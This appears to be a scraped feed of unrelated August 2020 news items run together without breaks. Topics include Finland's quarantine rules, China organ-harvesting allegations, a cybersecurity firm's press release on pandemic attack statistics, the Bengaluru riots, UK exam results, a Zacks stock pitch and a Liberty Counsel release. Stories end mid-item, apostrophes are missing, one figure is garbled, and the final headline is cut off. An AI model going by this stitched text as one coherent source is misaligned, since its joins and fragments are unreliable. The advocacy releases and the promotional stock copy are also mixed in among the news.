Until now the Nordic country has relied on arrivals voluntarily quarantining themselves, with no sanctions in place for those who do not follow the recommendation. Announcing that the new rules will be implemented "as soon as possible", health minister Krista Kiuru also said arrivals may face compulsory coronavirus testing. The decision follows a number of reports in recent days of planes arriving from Eastern European and Balkan countries carrying passengers who were either found to be infected or who refused to be tested on arrival. After a number of weeks early in the summer with only a trickle of cases, 135 new infections have been recorded in the past seven days. "The number of infections has surprised us all," Kiuru told a press conference on Monday, while health officials blamed arrivals from overseas for some of the increase in cases. "We have had discussions as to whether we can stop flights from risk countries. We are looking into it," Kiuru said. The measures will apply to arrivals to all countries except those on Finland's green list, which are those with fewer than eight new cases per 100,000 population in the last two weeks. Currently 25 countries are deemed safe, including Ireland, Japan, Greece, Cyprus and Uruguay. According to the World Health Organization, Finland has one of the lowest virus incidence rates in Europe, with just three new cases per 100,000 population. A plastic surgeon performs a "special" nose operation on a patient at his clinic in the southwest Chinese city of Chongqing. (Peter Parks/AFP via Getty Images) 4 Hearts in 10 Days: Chinas On Demand Organ Bank Raises Concerns of Forced Harvesting Chinese doctors had four hearts on hand for Sun Lingling, a 24-year-old Chinese national who for nine months was on life support. The 24-year-old fell ill in Japan with a rare autoimmune disease that led to irreversible heart damage. In mid-June, her medical team flew her to Chinas Wuhan Union Hospital on a chartered flight. Four heart matches came in the course of 10 days. After a grueling seven-hour surgery, she recovered to the point where she was able to eat on her own. Accounts of Suns survival, and an image of her smiling and posing with a victory hand sign on her hospital bed, appeared on the front pages of major Chinese newspapers with dramatic headlines, such as A life or death race. The Chinese embassy in Japan called the surgery legendary and touted it as a show of China-Japan friendship and cooperation. But with Chinas voluntary organ donation system still in its nascent stage, experts questioned how the hospital was able to source Suns matching organs so quicklya concern at the core of allegations that the regime is engaged in the grisly practice of forced organ harvesting: killing prisoners of conscience to sell their organs for profit. Organs On Demand? Suns first matching heart came on June 16 from Wuhan, but doctors, upon assessing the coronary artery, found the health condition not up to par and gave it up. After finding a second heart from nearby Hunan Province three days later, Sun developed a high fever which again delayed the surgery. On June 25, she received another two offers: one from a female in Wuhan, and a second from a male in the southern city of Guangzhou. They chose the latter because it has better heart functions, the Chinese media report said. The question is: who is the source for these 4 hearts, said Dr. Torsten Trey, executive director of the medical ethics advocacy group Doctors Against Forced Organ Harvesting. In the United States, patients generally waited for around 6.9 months for a matching heart donation, according to the latest government data from 2018. At this rate, to get four matching hearts for the same personmeaning four people who donated their organs after they died at the ICU or in fatal accidentsmay take around two years, he noted. In 2020, more than 156 million U.S. adultsor roughly half of the U.S. populacehave given donation consent. China, though the most populous country in the world, has only a fraction of the population doing so, owing to deeply-rooted cultural beliefs of keeping ones body intact upon death. What happened to Sun is possible, though quite unusual, even within any well-functioning voluntary organ donation system, said Jacob Lavee, a professor of surgery and heart transplantation department director at the Tel Aviv University in Israel. But within the context of China, he said, such a cluster of organ donors within a few days raises high suspicions as to the nature of these donors. It rather follows an on demand system, said Trey, calling Suns case beyond explanation. Double-Lung Transplants Chinas organ transplant system has been scrutinized in recent years, with a London-based independent peoples tribunal concluding in June 2019 beyond reasonable doubt that the Chinese regime was targeting prisoners of conscience for their organs. The main source of organs were practitioners of Falun Gong, a meditative discipline for improving mind and body that has been severely persecuted by the Chinese regime for the past two decades. In a 160-page report released this March, the tribunal found no evidence of the practice having been stopped and said that the lack of international oversight has allowed many people to die horribly and unnecessarily. As the virus ravaged China in the first half of the year, Chinas organ transplant industry was business as usual, with no obvious organ waiting time delays, according to an investigation by the U.S. nonprofit, World Organization to Investigate the Persecution of Falun Gong. One nurse in the Guangxi region told the investigators that, despite fears of infection, they would do the surgery whenever there is one, only that they wont go crazy like during the pre-pandemic times. Since late February, China has performed at least six double-lung transplants on COVID-19 patients, at least two of which took place in Wuhan, where the ongoing virus pandemic first emerged and a hotspot of Chinas transplant industry. Chinese hospitals gave little information about how the organs were sourced. Ethan Gutmann, China Studies Research Fellow at the Victims of Communism Memorial Foundation at the Policy Forum on Organ Procurement and Extrajudicial Execution in China on Capitol Hill on March 10, 2020. (Samira Bouaou/The Epoch Times) Ethan Gutmann, a China analyst who authored the book The Slaughter about Chinas illicit organ trade, said Suns case exemplified the problems with the countrys transplant industry. Very little about the Japan patient is all that new, said. He noted that similar to Suns case, the success of the double-lung transplants was prominently featured on Chinese media in both Chinese and English. The message was obvious: We have the organs. Its safe. Come on over. China is open for business, he told The Epoch Times in an email. Bloody Harvest, another book that investigates allegations of forced organ harvesting in China, cited a Taiwanese organ tourist who was provided with eight kidneys during his two separate trips to Shanghai over the course of eight monthsuntil the final one was accepted by his body. Such practices are indicative of a transplant industry that has a large pool, or stable, of political and religious prisoners that are already tissue-typed for transplant, Gutmann said. In July, Japans Fuji Television Network drew criticism from human rights advocates for airing a news segment about Suns surgery. SMG Network, a Japanese advocacy group that opposes organ transplant tourism, wrote to the broadcaster, saying that promoting Chinas transplant industry, with its documented history of human rights abuses, amounted to putting the viewer at risk of harm. Doctors carry fresh organs for transplant at a hospital in Henan Province, China, on Aug. 16, 2012. (Screenshot via Sohu.com) Data Inconsistencies China only established its voluntary donor system in 2015, promising to only source organs from it. But researchers have disputed such claims by pointing to the inconsistency of Chinas records. A November 2019 study published in BMC Medical Ethics found that Chinas organ donation data conformed almost precisely to a mathematical formula, concluding that authorities likely falsified the data. Another, published in February in the medical journal BMJ, identified 440 out of 445 Chinese medical papers that failed to clarify whether individuals had given consent to donate their body parts. During a recent undercover investigation by WOIPFG, a military doctor also admitted they were sourcing high quality organs from young living persons and even offered investigators a chance to see the organ source if they wish to. As long as you have the nerves, Li Guowei, a kidney transplant surgeon from the Fourth Military Medical University in Shaanxi Province, said in an undercover phone call in January. I can take you to the bed to let you have a look you will see that the person is in their 20s. A WOIPFG investigator then asked in a separate interview: You are using Falun Gong [practitioners] organs, but you cant openly say so, and can only say these are in good quality and disease-free? Yes, thats the way to put it, Li said. The short, unprecedented wait times of the recent Chinese organ transplant surgeries, such as the double lung transplants and the Japanese patient, should raise eyebrows among the international community, which has a responsibility to reject unethical medical practices, said Trey. If China does not allow independent, unannounced inspections, the international transplant community should decouple from the Chinese transplant system, he added. Don't believe this bounce for cruise stocks, Bank of America says Published Tue, Aug 11 2020 10:39 AM EDT Updated Fri, Aug 14 2020 2:55 PM EDT UbiCar, which brands itself as the first usage-based insurance company in Australia, started operating in the country one and a half years ago. The amount of capital raised was not disclosed. Meanwhile arriving in October will be UbiCar insurance head Ian Slater, who is making the switch from Toyota Financial Services. My time at Toyota has been an incredible experience, said Slater. Now Im excited about the opportunity to drive real change in the marketplace with UbiCar, at a time that customers are looking for viable and customisable insurance alternatives. The evolution in the insurtech space has been amazing in recent years, and is now ready to grow dramatically. The sophistication in combining telematics data and driver behaviours to calculate insurance premiums for individuals is fairer for drivers, but also promotes safer driving on our roads. NEW YORK, Aug. 11, 2020 /PRNewswire/ -- The global pandemic has seen a huge rise in people working from home, shopping online, and generally being more digitally connected than ever. There are plenty of good things that have come from this but there is a lot of bad as well. One of the biggest issues is that cyberattacks have skyrocketed during this period, according to MonsterCloud. Cybercriminals have taken this opportunity to up their attacks, both in frequency and scope. Here is what you need to know about the rise in cyberattacks during the COVID-19 pandemic of 2020. Top 10 Ransomware Statistics Cybercrime Statistics During the Pandemic The numbers are staggering and scary. The FBI recently reported that the number of complaints about cyberattacks to their Cyber Division is up to as many as 4,000 a day. That represents a 400% increase from what they were seeing pre-coronavirus. Interpol is also seeing an "alarming rate of cyberattacks aimed at major corporations, governments, and critical infrastructure." These attacks are targeting all types of businesses but large corporations, governments, and critical medical organizations have been major targets. Certain types of attacks are up even more. Microsoft reports that COVID-19 themed attacks, where cybercriminals get access to a system through the use of phishing or social engineering attacks, have jumped to 20,000 to 30,00 a day in the U.S. alone. Zohar Pinhasi, a cyber counter-terrorism expert and founder of the cybersecurity firm MonsterCloud, reports that ransomware attacks are up 800% during the pandemic. Pinhasi told CBS News, "From those criminals' perspective, it's heaven. They have stepped on a gold mine." High-Profile Cyber Attacks The overall statistics tell part of the story about the sheer number of cyberattacks. To help understand the size and scope of that these cybercriminals are undertaking, we will take a look at some of the major attacks on huge institutions that have happened during the 2020 pandemic. Corporate Ransomware Attacks Ransomware attacks, where cybercriminals hold your computer data or network hostage until a ransom is paid, have been successful during the pandemic on a level we have not seen before. The hackers have gained control of major companies' systems and demanded large ransoms. Exactly how much data was compromised and if the ransom was paid has not been officially released but it seems like these attacks have been large. In early June 2020, Honda announced that its Customer Service and Financial Service divisions were having technical difficulties and later confirmed that it was cyber attack-related. In July, Garmin users reported widespread outages which the company would later say was the result of a cyberattack. It has been reported that the attack is thought to be the work of the Russian group, Evil Corp. And, in August, Canon was reportedly attacked in a ransomware attack by the Maze ransomware gang in an attack that stole "10 terabytes of 'data, private databases, etc.'" These attacks that have been successful during the pandemic illustrate how cybercriminals are going after large corporations as their targets. The success rate may be due to these companies having so many more people working remotely now. The fact that some of these companies may have paid the ransom could be related to a new type of ransomware attack. According to MonsterCloud's Pinhasi, criminals have now "converted ransomware to something called doxware," he said. "If you're not going to pay us, we will sell your data and, in addition to that, notify your customers that you were hacked and their data was compromised. This is a game-changer since the coronavirus started we've seen it in the past, but not to that degree." COVID Research and Vaccines Cybercriminals have also set their sights on another type of target during the pandemic, companies that are vital in the fight against the virus. These companies are so stressed and busy doing the all-important work trying to stop this global pandemic that they have become easier targets. They also hold incredibly valuable data such as research or potential vaccines that other companies or governments would love to get their hands on. Starting in the early days of the global lockdown in the spring, the FBI issued warnings about cybercriminals targeting coronavirus research. These issues have turned out not only to be true but to be something that grew as the pandemic continued. In July 2020, cybersecurity officials from the U.S., UK, and Canada issued a warning about a hacker collective called APT29 and their "efforts to target U.S., UK, and Canadian vaccine research and development organizations." The Social Engineering Twitter Hack The most well-known and highly-publicized attack during the pandemic is the Twitter hack. On July 15, someone took control of several celebrities, business executives, companies, and politicians' Twitter accounts and conned people into sending Bitcoin to an account. The attacker hacked into the accounts of people such as Apple, Bill Gates, Kanye West, Elon Musk, and even Barack Obama. The scam netted around $117,000 but ultimately led to the arrest of a 17-year-old hacker in Florida. According to reporting by the Wall Street Journal, the attack was carried out by the perpetrator using a combination of traditional hacking, such as phishing sites, and social engineering. The hacker was able to take control of a cell phone number by convincing a carrier to assign a number to a new phone (this is known as SIM-swapping) and by convincing a Twitter employee (who was most likely working from home) that he was a Twitter IT employee. This social engineering allowed the hacker access to sensitive information that allowed him to carry out the attack. It should also act as a warning to companies that cyberattacks are not always committed 100% online. The physical security of access to information can be just as important as cybersecurity. Conclusion The COVID-19 pandemic of 2020 is having many lasting effects. One of those is that we now know how vital cybersecurity is, especially in times when we are more vulnerable. That is why learning the best ways to protect you and your company's data is so critical nowadays and working with cybersecurity professionals is more important than ever. PR Contact 1119 S 21st Ave., Hollywood, FL 33020 844-222-1221 [email protected] Related Files monstercloud-stats.png SOURCE MonsterCloud Russian Foreign Minister Sergey Lavrov suggested that the recent expulsion of Russian diplomats by Slovakia may have something to do with another country MOSCOW (UrduPoint News / Sputnik - 11th August, 2020) Russian Foreign Minister Sergey Lavrov suggested that the recent expulsion of Russian diplomats by Slovakia may have something to do with another country. "I think this is not about Slovakia, although you have just quoted a sentence about Slovakia being a sovereign state. I read today, unexpectedly, that the spokesperson for the [US] State Department, [Morgan] Ortagus gave positive assessment to Slovakia's decision to expel Russian diplomats. No other foreign representatives commented on this situation in this tone, I think. So make your conclusions on who is complicit, who may be interested in the decision that the sovereign Slovakia made regarding three Russian diplomats," Lavrov said at a meeting with German Foreign Minister Heiko Maas. With millions out of work, Victoria locked down again and residents elsewhere holding their collective breath for a possible second wave of COVID-19, now is a good time to revisit the relief available to households doing it tough. Australian businesses responded relatively quickly and pro-actively to the crisis when it hit in March but some initial hardship measures have since expired. So, apart from government support, what relief remains in place from companies for those who are still suffering? Heres the state of play: Don't let your bills pile up while you bury your head in the sand. Credit:Simon Schluter Mortgage deferrals A 15-year-old boy died and a two-year-old girl was on life support after they were pulled from a car submerged in a canal in Salt Lake City, Utah, on August 8. Police released body camera footage of the incident, which shows officers at the scene as well as traumatized family members who were able to escape the vehicle. One person is heard screaming for his brother, and telling police one of the trapped children is just a little girl, shes only two. The incident was at the Jordan Surplus Canal, near Delong Street and Indiana Avenue, police said. The deceased was named as Justin Bates, 15. A Facebook fundraiser for funeral costs said he died two days after the crash. Police said the boy was one of five people in the vehicle that entered the water. Police said the driver and two older children, ages 16 and 17, were able to escape but the two youngest were still trapped when officers arrived. Upon arrival, four officers quickly removed their vests and belts and ran into the water to save the children as the car slipped under the surface, police said. One officer dived into the water several times to enter through a window but was unable to get in due to the murkiness of the water. Police said several firefighters arrived to assist and dove into the water. The two children were rescued from the sinking car and paramedics were able to resuscitate them, police said. The children were taken to hospital, police said, where Justin Bates later died. Our hearts go out to the family at this time, police wrote on Twitter upon news of the teenagers death. Credit: SLCPD via Storyful T he Scottish exam results fiasco could be repeated in England when A-level results are published on Thursday, one of Britains leading education experts warned today. Former Ofsted boss Sir Michael Wilshaw said the same mistakes will have been made if Englands exams regulator Ofqual has not got the balance right between assessing students based on their schools past performance and their individual record. He issued the warning as Scottish education secretary John Swinney was announcing how the authorities north of the border were seeking to correct the blunders over exams which have seen about 125,000 students getting lower grades than predicted. Sir Michael told BBC Breakfast: The mistakes are about not getting the balance right between the judgment of the youngsters performance on the basis of the history of the school and the previous results of the school and individual student performance. "Even in schools with a history of poor performance, there will be youngsters there who have worked very hard, youngsters who are very bright, who would have done well. Unless that balance is a correct one, is a good one, then we are going to have a repeat of the Scottish performance. Health minister Edward Argar said the results in England would be fair. Following conversations with schools minister Nick Gibb, he told LBC Radio: Im confident and reassured that we have developed a system here in consultation, in partnership through Ofqual, with schools, with unions and others that I believe will give pupils a fair set of results. Schools in the Shetlands and the Borders reopened today, with other Scottish schools following tomorrow, amid a row over the degree of Covid-19 transmission in secondary schools. Pupils arrive at Kelso High School on the Scottish Borders as schools in Scotland start reopening / PA Scientists agree that the coronavirus risk in primary schools is very limited. However, they are split over the how much teenagers in secondary schools spread the disease. Ongoing research by Public Health England reportedly suggests that older children could transmit the disease as much as some adults. Mr Argar sought to downplay this suggestion, insisting the PHE report had not been finished. With schools due to reopen in England within weeks, he pointed to other research from abroad which highlighted limited Covid spread in schools. On the basis of the work that has been completed and those international comparators, we are confident that children and young people are much less at risk from this disease and from passing it on than other adults more broadly in the community, he said. However, Professor Neil Ferguson, who drew up a key report before lockdown in March, has suggested that secondary schools reopening could push up the R infection number by between 0.2 and 0.5. Professor Russell Viner, president of the Royal College of Paediatrics and Child Health, said yesterday that it was increasingly clear that older children, teenagers, probably transmit as much as adults but schools themselves play very little role. Mr Argar also said the test-and-trace system was successful despite it now being developed as a hybrid model. The number of contact tracers in the centralised system is being cut from 18,000 to 12,000 and more tracing will be done by local health teams. The Government has ramped up the number of tests but academics say the true number of people being traced by the system is about 50 per cent of the contacts of people testing positive. Shadow health minister Justin Madders said: Its frustrating to see ministers call test and trace a success when it is very far from it. County Kildare Chamber is lobbying at the highest levels of Government to deliver a multi-million euro stimulus plan to boost businesses affected by the two week Covid-19 lockdown in Kildare, Offaly and Laois. Chamber chief executive Allan Shine spent the weekend in talks with Government ministers as he has spelled out the devastating consequences of the hastily announced restrictions triggered by virus outbreaks at local meat plants. Mr Shine has claimed the local lockdown will cause an economic meltdown for Kildare as well as Laois and Offaly if financial support isnt forthcoming. He has lobbied for a targeted stimulus plan for Kildare with Tanaiste Leo Varadkar, Minister for Agriculture Dara Calleary and Minister for Public Expenditure and Reform, Michael McGrath. The Leader understands that proposals include an extension of the 350 wage subsidy for three months to allow eligible Kildare businesses to retain staff, as well as a further pause on bank repayments. Mr Shine has also been in ongoing contact with local TDs including Minister of State for Agriculture, Martin Heydon. The Chamber CEO said: The local lockdown will be devastating for local businesses especially in the tourism, hospitality and leisure industries, especially as August is a very busy month with families booking staycations and day trips before children go back to school. We need financial supports for these businesses so they will be ready to re-open and operate at full capacity again when the lockdown restrictions are lifted. County Kildare Chamber has a membership of 400 members who employ over 38,000 people across the county. Mr Shine added: Many of our members were in the process of restarting their businesses, re-employing people along with upskilling and reskilling the workforce to react to the economic environment we all face. Mr Shine described the local lockdown as bizarre given the very low number of Covid-19 cases in the community outside of the meat plants in Kildare town and Naas. He added: There was absolutely no engagement or consultation from NPHET, the HSE or anyone in Government and youre talking about a decision affecting hundreds of businesses and thousands of people being announced over the airwaves. The Chamber boss also said health officials should have seen the warning signs sooner. We need to ensure we exit this lockdown as quickly as possible. Public health is and will always be the number on focus but the economy must be a key focus also. Governments around the world, prompted by nationalism, authoritarianism and other forces, are threatening the notion of a single, universal computer network long the defining characteristic of the internet. The big picture: Most countries want the internet and the economic and cultural benefits that come with it. Increasingly, though, they want to add their own rules the internet with an asterisk, if you will. The question is just how many local rules you can make before the network's universality disappears. Driving the news: Meanwhile: It's not just efforts to control what's shown on the web, but also the infrastructure and networks that power the internet, as well as where data is stored. The U.S. and Europe are at odds over where European users' data is stored. Europe's highest court last month struck down Privacy Shield, the agreement that has allowed most data transfers between the EU and the U.S. to proceed. The move signals that the EU's top judges dont have faith that Europeans' data will be protected once it crosses the Atlantic. The Commerce Department said Monday it's in talks with the European Commission on potentially crafting a replacement agreement. The Trump administration, meanwhile, proposed what it called the "Clean Network" initiative to blunt China's expanding influence in networks and digital markets around the world. The push includes plans to shove even more Chinese apps out of the U.S. and keep Chinese devices from running American-made apps, as well as a call for other countries not to use China's undersea cables that connect countries to each other and the global internet. More governments are demanding that large online platforms store their data locally, where those governments can try to access it. Turkey's recent moves also included a requirement that large online platforms store their data inside the country. Civil rights groups and tech companies, including Facebook, have warned that data localization rules can allow authoritarian regimes to misuse citizens' digital information, in addition to making it harder for global tech companies to conduct business. Yes, but: China erected its "Great Firewall" some time ago, and while that's harmed freedom of information inside its borders in countless ways, it hasn't meant the end of the internet for the rest of the world. Europe, meanwhile, has privacy-focused rules like its "right to be forgotten" that has forced certain information off the web in that region without fundamentally cutting Europe off from the internet. The bottom line: We still don't know exactly how much local control the internet can handle without splitting into a variety of smaller, regional networks. By the time we learn the answer that question, it will probably be too late to put the network back together. Curfew has been imposed in Banaswadi Police Sub-Division, in Bengaluru after an irate mob on Tuesday night attacked the house of Congress MLA Akhanda Srinivasamurthy over a defamatory post against religion. Three persons died and two others were injured in the attack. For latest updates on Bengaluru violence, click here Many policemen have also been injured in the incident including a couple of senior officers. More than 7-8 vehicles have been set on fire. The mob comprising over 100 people also torched about 15 vehicles, besides pelting stones at the MLA's house and other adjoining houses in Kaval Byrasandra in North-East Bengaluru. Situation in front of @Kghallips in #Bengaluru. Hundreds of people gather demanding justice. Police fire teargas shells to disperse the crowd. @DeccanHerald @PMOIndia pic.twitter.com/Y5q6oVJnvC Niranjan Kaggere (@nkaggere) August 11, 2020 Armed with sticks, iron rods, sharp metal objects and other weapons, the protestors barged into the house of the MLA and pelted stones. The mob even attacked those who were capturing the violent incident on their phone cameras. The cameras and mobiles were snatched and were damaged completely according to eyewitnesses. Sources also revealed that the mob arranged vehicles in front of the DJ Halli police station and set them on fire, besides pelting stones at the station. The protesters even attacked the vehicle of North-East Division Deputy Commissioner of Police (DCP) Bheemashankar Guled. Trying to take control of the situation, the DCP visited the spot and he was stopped by the protesters in front of the police station gate and began pelting stones. Even as the police personnel were escorting the DCP to a safe location, the mob attacked the car and damaged it. They also assaulted the driver of the vehicle. Sources close to the MLA revealed to DH that the mob was reportedly angered over a derogatory Facebook post on religion, alleged to have been posted by MLA's brother-in-law. A few others also revealed that the post was put up by the MLA's personal assistant. However, Bengaluru police revealed to DH that they are yet to verify these allegations. The mob took control of the area and sealed five to six crosses barring access to police personnel and fire and emergency service personnel. Following the incident, over 600 people stormed the KG Halli police station venting their anger and demanding justice. The incident which occurred at around 9:00 pm went out of control in less than an hour after the mob began to torch the vehicles and vandalise the houses nearby. Gripped by panic, the residents staying in surrounding areas were seen leaving houses along with kids and women to other areas. Trying to control the situation and disperse the crowd, the police fired in the air in front of the KG Halli police station. However, there was no sign of control as the mob continued with their violence protest. In the resulting violence, one person was found dead while the three others were injured severely. However, the police refused to confirm whether the person died in the firing, violence or stampede. In the meantime, MLA Akhanda Srinivasamurthy released a video where he said, "I appeal to all my Muslim brethren to maintain peace and not to get carried away by the rumours and miscreants' words. Be it a Hindu or Muslim, we all are equal. Whoever it may be trying to disrupt the harmony, they will be dealt with seriously and will be punished by the police as per the law. But let us not resort to this violence and I request all of you to keep calm." Following the violent protests, Chamarajpet MLA BZ Zameer Ahmed Khan also rushed to the spot and visited KG Halli police station. According to sources, Police Commissioner Kamal Pant also rushed to the spot. "The government will take action against those who are responsible behind the attack. Resorting to violence, torching of vehicles is against the law and not a solution to any problem. Any issue can be legally pursued and taken to a logical end. I have already directed the police commissioner to visit the spot and take control of the situation," said Home Minister Basavaraj Bommai. Bengaluru's Police Commissioner, Kamal Pant said the situation is under control in KG Halli and DJ Halli. "The mob started gathering and creating ruckus in small groups by 7.30 pm to 8 pm. But it came to limelight much later. We had to walk for more than 1.5 km to reach the incident spot, he said." (Newser) Don't think of Tim Cook as obscenely rich? Well, he is Apple's CEO, and he's now in the billionaire's club. That's according to a Bloomberg News analysis of his compensation and years of Apple stock awards that pay out gradually. His 847,969 shares (about 0.02% of the company total) are worth roughly $375 million, whichadded to $650 million in previous dividends, share sales, and other compensationjust tops $1 billion. His entry into the "three-comma club" is unusual because he didn't found Apple, notes the Verge. story continues below Google CEO Sundar Pichai isn't hugely rich, for example, while co-founders Larry Page and Sergey Brin (who surrendered their executive jobs in 2019) are respectively worth about $71.7 billion and $69.5 billion, per CNN. Then there's Jeff Bezos ($187 billion), Bill Gates ($121 billion), and CEO Mark Zuckerberg ($102 billion). One thing about Cook's rise in wealth: It coincided with Apple's landmark stock-market value of nearly $2 trillion, which pushed aside Saudi Arabia's state-owned oil company in July to become the world's most valuable publicly traded company. (Read more Apple stories.) ScanSource, Inc. SCSC yesterday announced that it agreed to sell its Latin American businesses that are carried outside Brazil. The buyer of these assets is Miami, FL-based Intcomex. Notably, the financial terms of the agreement have not been disclosed. Shares of ScanSource increased 3.64% yesterday, ending the trading session at $25.31 per share. Intcomex provides multiple products in various countries, including mobile devices, computer equipment, networking products, software, security products, digital consumer electronics and others. In addition, it offers various services like technical, financial and guarantee. Discussion on Divestment As noted, the businesses to be divested by ScanSource include the products businesses in Peru, Mexico, Columbia and Chile. Also, the agreement includes the selling of export operations carried out in Miami. Post the completion of the deal, more than 140 employees will become part of Intcomex. The business to be divested will likely be presented as discontinued operations. Pre-tax charge (non-cash) related to the divestment is expected to be $28 million. Subject to the fulfillment of closing conditions, ScanSource anticipates closing the divestment by September 2020. It is worth noting here that the divestment of the above-mentioned businesses a move that aligns with the companys portfolio repositioning efforts will allow it to focus on high growth opportunities. Zacks Rank, Estimate Trend and Price Performance With a market capitalization of $635 million, ScanSource currently carries a Zacks Rank #5 (Strong Sell). In the past three months, the companys shares have gained 16.5% compared with the industrys growth of 29.3%. Meanwhile, the Zacks Consensus Estimate for its earnings has been lowered by 3.7% to $2.08 for fiscal 2020 (ended June 2020; results pending) and decreased by 11.2% to $2.29 for fiscal 2021 (ending June 2021) in the past 60 days. On a year-over-year basis, estimates suggest a decline of 38.1% for fiscal 2020 and growth of 10.1% for fiscal 2021. Story continues ScanSource, Inc. Price and Consensus ScanSource, Inc. Price and Consensus ScanSource, Inc. price-consensus-chart | ScanSource, Inc. Quote Stock That Warrants a Look Some better-ranked stocks in the Zacks Industrial Products sector are Tennant Company TNC, Chart Industries, Inc. GTLS and SiteOne Landscape Supply, Inc. SITE. While both Tennant and Chart Industries sport a Zacks Rank #1 (Strong Buy), SiteOne Landscape carries a Zacks Rank #2 (Buy). You can see the complete list of todays Zacks #1 Rank stocks here. In the past 60 days, earnings estimates for these companies improved for the current year. Further, earnings surprise for the last reported quarter was 380.00% for Tennant, 46.51% for Chart Industries and 34.56% for SiteOne Landscape. Zacks Single Best Pick to Double From thousands of stocks, 5 Zacks experts each picked their favorite to gain +100% or more in months to come. From those 5, Zacks Director of Research, Sheraz Mian hand-picks one to have the most explosive upside of all. With users in 180 countries and soaring revenues, its set to thrive on remote working long after the pandemic ends. No wonder it recently offered a stunning $600 million stock buy-back plan. The skys the limit for this emerging tech giant. And the earlier you get in, the greater your potential gain. Click Here, See It Free >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Chart Industries, Inc. (GTLS) : Free Stock Analysis Report ScanSource, Inc. (SCSC) : Free Stock Analysis Report Tennant Company (TNC) : Free Stock Analysis Report SiteOne Landscape Supply, Inc. (SITE) : Free Stock Analysis Report To read this article on Zacks.com click here. CA Governor Defends Protests While Banning ALL Worship NEWS PROVIDED BY Liberty Counsel Aug. 10, 2020 LOS ANGELES, Aug. 10, 2020 /Christian Newswire/ -- Liberty Counsel filed a reply memorandum of law in federal court seeking a temporary restraining order and preliminary injunction on behalf of Harvest Rock Church and Harvest International Ministry against Governor Gavin Newsom's COVID-19 orders prohibiting all indoor worship services in most of the state and "singing and chanting" in the counties not on the "County Monitoring List." Yet, Newsom encourages mass gatherings of protestors. The governor's unconstitutional orders include home Bible studies and fellowship. Harvest International Ministry includes 162 churches in California and 65,000 affiliate churches and ministries worldwide. The lawsuit challenges both the total ban on in-person worship (including in private homes) in the counties on the "County Monitoring List," and the ban on singing and chanting in the remaining counties. In addition to in-person worship at Harvest Rock Church, the church also has many "Life Groups," which are home Bible studies and fellowship groups. These too are now prohibited under Gov. Newsom's recent orders. Yet while he discriminates against churches and houses of worship, including home Bible study and fellowship meetings, Gov. Newsom continues to encourage thousands of protestors to gather throughout the state. In Governor Newsom's response to the motion for the temporary restraining order and preliminary injunction, he argues that churches are not "essential." Regarding feeding, counseling and housing people in the same building where worship services occur, Newsom argues that only the worship services should be prohibited while the other non-religious services should be allowed. Concerning home Bible studies, Newsom argues that he has authority to prohibit home fellowship groups. As to protests, Newsom admits he does encourage them and supports their violation of his orders, but he encourages protestors to wear masks and practice social distancing. Liberty Counsel Founder and Chairman Mat Staver said, "Governor Gavin Newsom encourages tens of thousands of people to gather for mass protests, but he bans all in-person worship and home Bible studies and fellowship. The governor cannot disregard the First Amendment, nor can the state micromanage the form of worship by banning singing or chanting. This discriminatory treatment is unconstitutional." Liberty Counsel provides broadcast quality TV interviews via Hi-Def Skype and LTN at no cost. SOURCE Liberty Counsel CONTACT: Mat Staver, 407-875-1776, Liberty@LC.org Related Links lc.org/ Mukesh Ambani is stringing in new partnerships within the Reliance ecosystem with the best in global business -- from Facebook, Google and Microsoft to umpteen sovereign wealth funds and a soon-to-be-declared strategic partner in a big global retailer, notes Shailesh Dobhal. The country's biggest oil firm making a huge and successful foray into the telecom space four years ago was truly a transformative move in the life of the 54-year-old company that started as a polyester trader and later got into petroleum and refining. Reliance Industries got into retail in 2006, and these decade-or-so old consumer and technology-centric businesses now account for over a third of its Rs 6.59 trillion revenues. What's more, the Mukesh Ambani-led conglomerate intends to mesh all consumer businesses into an integrated digital play and take the world by the 5G-storm by announcing an indigenous, homegrown solution for the technology, which is just being rolled out across the world. The sight of world leaders in Internet search, e-commerce, social media and much else beating a path to Reliance's door for a pie of what, not so long ago, used to be just another oil firm is interesting. Are there any Reliance-like business transformation parallels in Indian corporate history post liberalisation? Well, yes and no. Though there have been many successful businesses that have emerged in the intervening three decades -- think Airtel, IndiGo, Flipkart, Paytm, Oyo, Ola, Byju's, DMart -- they have all been new firms cropping up to meet new opportunities. Mobile telephony for Airtel, aviation for IndiGo, digital payments for Paytm, you get the drift. In fact, it is difficult to think of an RIL-like example even globally, as even there most big successful businesses of the last two-three decades are invariably new players -- from Google, Facebook, Amazon to Netflix, Uber, Tesla and Alibaba. Perhaps one of the few in the league of RIL globally is the Masayoshi Son-founded SoftBank Group that successfully pivoted from being a PC software distributor and a telco to a technology-focused investor with over $100 billion corpus. Closer home, perhaps only Kolkata-based ITC can lay claim to an RIL-like transformation. ITC's erstwhile high-profile chairman, the late Yogesh Chander Deveshwar, helped turn the tobacco major into an agri and consumer products marketer, so much so that cigarettes now account for less than half of its Rs 46,323 crore gross sales. For a firm with a chequered global history steeped in tobacco, selling more of wheat flour, biscuits, noodles, potato chips, soap and shampoos than cigarettes would have been unthinkable, an anathema even, till a decade back. Reliance used profits from its oil business to enter sectors that need deep pockets like retail and telecom. ITC too pivoted to being a fast moving consumer goods firm in a sector dominated by global behemoths like Hindustan Unilever by banking on huge profits from its tobacco division. Even now, both firms depend heavily on their original core businesses -- oil and petrochemicals for Reliance (accounting for almost two-thirds of its operating profits), and tobacco for ITC (over three-fourths) -- to keep showing healthy financial metrics and keep key stakeholders engaged. Importantly, investors and markets have started valuing them less and less as an oil (Reliance) or a tobacco (ITC) firm and more as high-value technology and consumer bets. In some sense, what Reliance is trying to do has striking parallels with what SoftBank too has been up to all these years. Son's strategy is of building loosely aligned firms -- what he calls 'cluster of number ones' through partnerships -- across industries and geography that capture consumer data and dovetail with his core belief of 'whoever controls data controls the world', and strengthens his vision of making SoftBank the numero uno company in the world. Ambani, on the other hand, is working assiduously on his 'data is the new oil' strategy by stringing in new partnerships within the Reliance ecosystem with the best in global business -- from Facebook, Google and Microsoft to umpteen sovereign wealth funds and a soon-to-be-declared strategic partner in a big global retailer. A deep commitment to the domestic market and the India story binds the vision of Ambani and the late Deveshwar. Perhaps the only difference among Ambani, Son and Deveshwar is that while the first is a second-generation promoter-manager, Son is a first-generation entrepreneur and the last was a professional manager. (Photo : Screenshot from Twitter post of @west_obi) Putin Announces Russia's COVID-19 Vaccince Passed Necessarry Test Stages, Proving Its Effectiveness (Photo : Screenshot from Twitter post of @RatnakarSays) Putin Announces Russia's COVID-19 Vaccince Passed Necessarry Test Stages, 